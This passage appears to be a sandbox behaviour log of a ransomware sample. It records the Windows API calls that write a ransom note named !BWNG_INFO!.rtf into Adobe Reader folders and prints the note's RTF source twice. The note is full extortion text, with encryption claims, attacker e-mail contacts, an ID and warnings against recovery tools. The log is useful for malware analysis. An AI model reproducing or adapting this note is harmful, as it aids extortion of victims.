ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n^ûÐ×Þd«×>¨¢P¯É_vø½zye®K\x0e\x1c+\\\x08â±\x93Í\x04", lpUsedDefaultChar=0x0) returned 14086 [0033.939] WriteFile (in: hFile=0x1cc, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0033.941] CloseHandle (hObject=0x1cc) returned 1 [0033.942] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\!bwng_info!.rtf")) returned 0xffffffff [0033.942] GetLastError () returned 0x2 [0033.942] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0033.942] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n 